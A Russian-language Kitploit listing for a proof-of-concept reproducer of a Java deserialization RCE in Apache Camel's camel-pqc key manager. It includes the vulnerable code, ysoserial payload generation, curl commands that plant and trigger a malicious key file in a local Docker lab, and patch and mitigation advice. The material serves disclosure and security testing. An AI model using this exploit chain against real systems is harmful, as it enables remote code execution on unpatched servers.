Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-40048 — Репродуктор для CVE-2026-40048: Apache Camel camel-pqc FileBasedKeyLifecycleManager небезопасная десериализация (RCE) | Kitploit
Инструменты/GitHubGitHub/oscerd/cve-2026-40048
Статический анализАнализ уязвимостейАнализ КодаЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и ОбразованиеЭксплуатация Бинарных ФайловЛаборатории и Практика
GitHuboscerd/cve-2026-40048

CVE-2026-40048

Репродуктор для CVE-2026-40048: Apache Camel camel-pqc FileBasedKeyLifecycleManager небезопасная десериализация (RCE)

22 месяцев назадЕщё не проверено
Репозиторий

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

camel-pqc FileBasedKeyLifecycleManager: репродуктор небезопасной десериализации (CVE-2026-40048)

Этот проект демонстрирует уязвимость десериализации Java в компоненте camel-pqc Apache Camel, отслеживаемую как CVE-2026-40048. FileBasedKeyLifecycleManager читает файлы <keyId>.key из настроенной директории ключей с помощью «сырого» ObjectInputStream и без ObjectInputFilter, поэтому злоумышленник, имеющий право записи в эту директорию, может добиться удалённого выполнения кода.

Уведомление: https://camel.apache.org/security/CVE-2026-40048.html

Сводка об уязвимости

СвойствоЗначение
Компонентcamel-pqc
Затронутый классorg.apache.camel.component.pqc.lifecycle.FileBasedKeyLifecycleManager (getKey)
CWECWE-502: Десериализация недоверенных данных
ВоздействиеУдалённое выполнение кода (RCE)
Затронутые версииС 4.18.0 до 4.18.2 и с 4.19.0 до 4.20.0
Исправленные версии4.18.2, 4.20.0
JIRACAMEL-23200
Авторы отчётаAndrea Cosentino (ASF), Venkatraman Kumar (Securin)

Технические подробности

FileBasedKeyLifecycleManager сохраняет постквантовые ключи как сериализованные Java-объекты в <keyDir>/<keyId>.key. При загрузке ключа этот файл десериализуется с помощью «сырого» ObjectInputStream, а приведение к KeyPair происходит только после возврата из readObject():

root@kitploit:~
// FileBasedKeyLifecycleManager.getKey(keyId) - affected version
Path keyFile = getKeyFile(keyId);   // keyDirectory.resolve(keyId + ".key")
try (ObjectInputStream ois = new ObjectInputStream(new BufferedInputStream(Files.newInputStream(keyFile)))) {
    KeyPair keyPair = (KeyPair) ois.readObject();   // NO ObjectInputFilter — gadget runs before the cast
    ...
}

Злоумышленник, имеющий право записи в директорию ключей — через обход пути (path traversal), неверно настроенные права на томе, скомпрометированный конвейер предоставления ключей или атаку через симлинк — может разместить специально созданный сериализованный объект, который выполнится при обычной загрузке ключа в рамках его жизненного цикла.

Предварительные требования

  • Java 17+ и Maven 3.8+ (для сборки jar)
  • Docker (запускает репродуктор)
  • ysoserial (для генерации полезной нагрузки)

Шаги воспроизведения

Шаг 1: Соберите jar и запустите контейнер

root@kitploit:~
mvn clean package -DskipTests
docker compose up -d --build

Шаг 2: Сгенерируйте вредоносную полезную нагрузку

root@kitploit:~
wget https://github.com/frohoff/ysoserial/releases/download/v0.0.6/ysoserial-all.jar

# Benign proof: create /tmp/pwned. On JDK 21 add --add-opens to generate CC gadgets:
java --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.lang=ALL-UNNAMED \
     --add-opens java.base/java.lang.reflect=ALL-UNNAMED \
     -jar ysoserial-all.jar CommonsCollections7 "touch /tmp/pwned" | base64 -w0 > payload.b64

Шаг 3: Разместите полезную нагрузку как <keyId>.key

root@kitploit:~
curl -X POST http://localhost:8080/exploit/inject \
  -H "Content-Type: text/plain" --data-binary @payload.b64
# writes the bytes to /tmp/pqc-keys/mykey.key inside the container

Шаг 4: Инициируйте загрузку ключа в рамках жизненного цикла (RCE)

root@kitploit:~
curl http://localhost:8080/exploit/trigger
# getKey("mykey") -> ObjectInputStream.readObject() -> gadget executes
# -> ">>> RCE proof — /tmp/pwned exists: true"

Шаг 5: Проверка

root@kitploit:~
docker exec cve-2026-40048 ls -la /tmp/pwned

Очистка

root@kitploit:~
docker compose down

Векторы атаки

getKey() вызывается во время обычных операций жизненного цикла ключей (получение ключа подписи/проверки, проверки ротации и т. д.), поэтому любая загрузка размещённого злоумышленником <keyId>.key запускает десериализацию.

Условия эксплуатации

  1. Право записи в директорию ключей, используемую FileBasedKeyLifecycleManager (общий/неверно настроенный том, обход пути, скомпрометированное предоставление ключей, симлинк).
  2. Библиотека гаджетов в classpath (например, commons-collections:3.2.1).

Связанные последующие CVE

Паттерн использования ObjectInputStream в хранилище ключей впоследствии был исправлен более широко:

  • CVE-2026-46590 — родственные менеджеры для HashiCorp Vault + AWS Secrets Manager (последующее сообщение о неполном исправлении).
  • CVE-2026-43867 — независимое сообщение о том же пути через AWS Secrets Manager.

Рекомендуемое исправление

Обновитесь до 4.18.2 / 4.20.0. Исправление заменяет хранение на основе ObjectInputStream стандартным Base64 JSON-кодированием PKCS#8 (закрытый ключ) / X.509 SubjectPublicKeyInfo (открытый ключ).

Меры по смягчению последствий

До обновления:

  1. Ограничьте право записи в директорию ключей только учётной записью самого приложения.
  2. Удалите библиотеки гаджетов (обновите или удалите commons-collections 3.x).
  3. Храните ключевые материалы на томе, в который не может писать ни один субъект с меньшим уровнем доверия.

Файлы

root@kitploit:~
CVE-2026-40048/
├── pom.xml
├── Dockerfile
├── docker-compose.yml
├── README.md
└── src/main/
    ├── java/com/example/
    │   ├── Application.java
    │   └── ExploitController.java   # /inject (plant .key), /trigger (getKey -> RCE), /cleanup
    └── resources/
        └── application.properties

Отказ от ответственности

Этот репродуктор предоставлен только для исследований в области безопасности и авторизованного тестирования, для публично раскрытой и исправленной уязвимости. Не используйте его против систем без явного разрешения.

Скачать инструмент